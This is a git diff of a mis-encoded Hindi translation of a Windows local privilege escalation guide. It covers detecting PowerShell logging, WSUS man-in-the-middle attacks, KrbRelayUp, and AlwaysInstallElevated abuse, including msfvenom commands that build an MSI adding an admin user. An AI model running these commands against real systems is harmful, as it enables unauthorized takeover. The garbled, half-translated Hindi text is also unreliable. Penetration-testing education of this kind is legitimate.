b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -32,7 +32,7 @@ integrity-levels.md ## Windows рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рдпрдВрддреНрд░рдг -Windows рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЪреАрдЬреЗрдВ рд╣реИрдВ рдЬреЛ **рдЖрдкрдХреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВ**, рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдЪрд▓рд╛рдиреЗ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рдЖрдкрдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ** рд╕реЗ рднреАред рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдЧрдгрдирд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд **рдкреГрд╖реНрда** рдХреЛ **рдкрдврд╝рдирд╛** рдФрд░ рд╕рднреА **рд░рдХреНрд╖рд╛** **рдпрдВрддреНрд░реЛрдВ** рдХреА **рдЧрдгрдирд╛** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: +Windows рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЪреАрдЬреЗрдВ рд╣реИрдВ рдЬреЛ **рдЖрдкрдХреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВ**, рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдЪрд▓рд╛рдиреЗ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рдЖрдкрдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ** рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИрдВред рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдЧрдгрдирд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд **рдкреГрд╖реНрда** рдХреЛ **рдкрдврд╝рдирд╛** рдФрд░ рд╕рднреА **рд░рдХреНрд╖рд╛** **рдпрдВрддреНрд░реЛрдВ** рдХреА **рдЧрдгрдирд╛** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: {{#ref}} ../authentication-credentials-uac-and-efs/ @@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell Transcript files -рдЖрдк рдЗрд╕реЗ рдЪрд╛рд▓реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) рдкрд░ рд╕реАрдЦ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рд╕реАрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ рдЪрд╛рд▓реВ рдХрд┐рдпрд╛ рдЬрд╛рдП [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдкреВрд░реА рдЧрддрд┐рд╡рд┐рдзрд┐ рдФрд░ рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рд░рд┐рдХреЙрд░реНрдб рдХреА рдЬрд╛рддреА рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЛрдб рдХрд╛ рд╣рд░ рдмреНрд▓реЙрдХ рдЙрд╕рдХреЗ рдЪрд▓рдиреЗ рдХреЗ рд╕рдордп рджрд╕реНрддрд╛рд╡реЗрдЬреАрдХреГрдд рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░рддреНрдпреЗрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рдСрдбрд┐рдЯ рдЯреНрд░реЗрд▓ рдмрдирд╛рдП рд░рдЦрддреА рд╣реИ, рдЬреЛ рдлреЙрд░реЗрдВрд╕рд┐рдХреНрд╕ рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореВрд▓реНрдпрд╡рд╛рди рд╣реИред рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╕рдордп рд╕рднреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬреАрдХреГрдд рдХрд░рдХреЗ, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред +рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдкреВрд░реА рдЧрддрд┐рд╡рд┐рдзрд┐ рдФрд░ рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рд░рд┐рдХреЙрд░реНрдб рдХреА рдЬрд╛рддреА рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЛрдб рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдмреНрд▓реЙрдХ рдХреЛ рдЙрд╕рдХреЗ рдЪрд▓рдиреЗ рдХреЗ рд╕рдордп рджрд╕реНрддрд╛рд╡реЗрдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░рддреНрдпреЗрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рдСрдбрд┐рдЯ рдЯреНрд░реЗрд▓ рдмрдирд╛рдП рд░рдЦрддреА рд╣реИ, рдЬреЛ рдлреЙрд░реЗрдВрд╕рд┐рдХреНрд╕ рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореВрд▓реНрдпрд╡рд╛рди рд╣реИред рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╕рдордп рд╕рднреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд┐рдд рдХрд░рдХреЗ, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рд▓реЙрдЧрд┐рдВрдЧ рдЗрд╡реЗрдВрдЯреНрд╕ Windows рдЗрд╡реЗрдВрдЯ рд╡реНрдпреВрдЕрд░ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрде рдкрд░ рд╕реНрдерд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**ред\ +Script Block рдХреЗ рд▓рд┐рдП рд▓реЙрдЧрд┐рдВрдЧ рдЗрд╡реЗрдВрдЯреНрд╕ Windows Event Viewer рдореЗрдВ рдЗрд╕ рдкрде рдкрд░ рд╕реНрдерд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**ред\ рдЕрдВрддрд┐рдо 20 рдЗрд╡реЗрдВрдЯреНрд╕ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -176,13 +176,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -рдФрд░ рдпрджрд┐ `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` рдпрд╛ `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` `1` рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИред +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -рддреЛ, **рдпрд╣ exploitable рд╣реИред** рдпрджрд┐ рдЕрдВрддрд┐рдо рд░рдЬрд┐рд╕реНрдЯреНрд░реА `0` рдХреЗ рдмрд░рд╛рдмрд░ рд╣реИ, рддреЛ WSUS рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +Then, **рдпрд╣ exploitable рд╣реИред** If the last registry is equals to 0, then, the WSUS entry will be ignored. -рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- рдпреЗ MiTM рд╣рдерд┐рдпрд╛рд░рдмрдВрдж рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИрдВ рдЬреЛ рдЧреИрд░-SSL WSUS рдЯреНрд░реИрдлрд╝рд┐рдХ рдореЗрдВ 'рдлрд░реНрдЬреА' рдЕрдкрдбреЗрдЯ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред +In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. -рдпрд╣рд╛рдБ рд╢реЛрдз рдкрдврд╝реЗрдВ: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -190,26 +190,26 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**рдкреВрд░реНрдг рд░рд┐рдкреЛрд░реНрдЯ рдпрд╣рд╛рдБ рдкрдврд╝реЗрдВ**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ, рдпрд╣ рд╡рд╣ рджреЛрд╖ рд╣реИ рдЬрд┐рд╕рдХрд╛ рд╢реЛрд╖рдг рдпрд╣ рдмрдЧ рдХрд░рддрд╛ рд╣реИ: +[**рдпрд╣рд╛рдБ рдкреВрд░рд╛ рд░рд┐рдкреЛрд░реНрдЯ рдкрдврд╝реЗрдВ**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +Basically, this is the flaw that this bug exploits: -> рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЕрдкрдиреЗ рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░реЙрдХреНрд╕реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рд╢рдХреНрддрд┐ рд╣реИ, рдФрд░ Windows Updates рдЗрдВрдЯрд░рдиреЗрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрд░рд░ рдХреА рд╕реЗрдЯрд┐рдВрдЧ рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ [PyWSUS](https://github.com/GoSecure/pywsus) рдХреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреА рд╢рдХреНрддрд┐ рд╣реИ рддрд╛рдХрд┐ рд╣рдо рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░ рд╕рдХреЗрдВ рдФрд░ рдЕрдкрдиреЗ рд╕рдВрдкрддреНрддрд┐ рдкрд░ рдПрдХ рдЙрдЪреНрдЪ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЛрдб рдЪрд▓рд╛ рд╕рдХреЗрдВред +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet ExplorerтАЩs settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЪреВрдВрдХрд┐ WSUS рд╕реЗрд╡рд╛ рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реЗрдЯрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рдпрд╣ рдЗрд╕рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдЯреЛрд░ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧреАред рдпрджрд┐ рд╣рдо WSUS рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрд╡-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реНрдЯреЛрд░ рдореЗрдВ рдЬреЛрдбрд╝рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо HTTP рдФрд░ HTTPS рджреЛрдиреЛрдВ WSUS рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред WSUS рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкрд░ рдкрд╣рд▓реЗ рдЙрдкрдпреЛрдЧ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреА рдорд╛рдиреНрдпрддрд╛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ HSTS-рдЬреИрд╕реЗ рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдкреНрд░рд╕реНрддреБрдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИ рдФрд░ рд╕рд╣реА рд╣реЛрд╕реНрдЯрдирд╛рдо рд╣реИ, рддреЛ рдЗрд╕реЗ рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +> Furthermore, since the WSUS service uses the current userтАЩs settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userтАЩs certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. -рдЖрдк рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдЙрдкрдХрд░рдг [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬрдм рдпрд╣ рдореБрдХреНрдд рд╣реЛ рдЬрд╛рдП)ред +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). ## KrbRelayUp -Windows **рдбреЛрдореЗрди** рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдПрдХ **рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐** рдХреА рдХрдордЬреЛрд░реА рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдореМрдЬреВрдж рд╣реИред рдЗрди рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рд╡реЗ рд╡рд╛рддрд╛рд╡рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬрд╣рд╛рдБ **LDAP рд╕рд╛рдЗрдирд┐рдВрдЧ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реИ,** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ **Resource-Based Constrained Delegation (RBCD)** рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡-рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдмрдирд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдпреЗ **рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ** **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВред +A **рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐** vulnerability exists in Windows **рдбреЛрдореЗрди** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. -**рд╢реЛрд╖рдг рдЦреЛрдЬреЗрдВ** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -рд╣рдорд▓реЗ рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**рдпрджрд┐** рдпреЗ 2 рд░рдЬрд┐рд╕реНрдЯрд░ **рд╕рдХреНрд╖рдо** рд╣реИрдВ (рдорд╛рди **0x1** рд╣реИ), рддреЛ рдХрд┐рд╕реА рднреА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `*.msi` рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ NT AUTHORITY\\**SYSTEM** рдХреЗ рд░реВрдк рдореЗрдВ **рд╕реНрдерд╛рдкрд┐рдд** (рдирд┐рд╖реНрдкрд╛рджрд┐рдд) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +**рдпрджрд┐** рдпреЗ 2 рд░рдЬрд┐рд╕реНрдЯрд░ **рд╕рдХреНрд╖рдо** рд╣реИрдВ (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -219,19 +219,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рд╕рддреНрд░ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ **`exploit/windows/local/always_install_elevated`** рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рд╕рддреНрд░ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ **`exploit/windows/local/always_install_elevated`** рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### PowerUP -`Write-UserAddMSI` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ power-up рд╕реЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ Windows MSI рдмрд╛рдЗрдирд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддрд╛рдХрд┐ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдП рдЬрд╛ рд╕рдХреЗрдВред рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд MSI рдЗрдВрд╕реНрдЯреЙрд▓рд░ рд▓рд┐рдЦрддреА рд╣реИ рдЬреЛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛/рд╕рдореВрд╣ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИ (рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ GIU рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА): +`Write-UserAddMSI` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ power-up рд╕реЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ Windows MSI рдмрд╛рдЗрдирд░реА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддрд╛рдХрд┐ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдП рдЬрд╛ рд╕рдХреЗрдВред рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рдкреВрд░реНрд╡-рд╕рдВрдХрд▓рд┐рдд MSI рдЗрдВрд╕реНрдЯреЙрд▓рд░ рд▓рд┐рдЦрддреА рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛/рд╕рдореВрд╣ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИ (рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ GIU рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА): ``` Write-UserAddMSI ``` -рдмрд╕ рдмрдирд╛рдП рдЧрдП рдмрд╛рдЗрдирд░реА рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝ рд╕рдХреЗред +рдмрд╕ рдмрдирд╛рдП рдЧрдП рдмрд╛рдЗрдирд░реА рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдП рдЬрд╛ рд╕рдХреЗрдВред ### MSI Wrapper -рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЛ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЗрд╕ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ MSI wrapper рдХреИрд╕реЗ рдмрдирд╛рдПрдВред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдПрдХ "**.bat**" рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рдкреЗрдЯ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк **рдмрд╕** 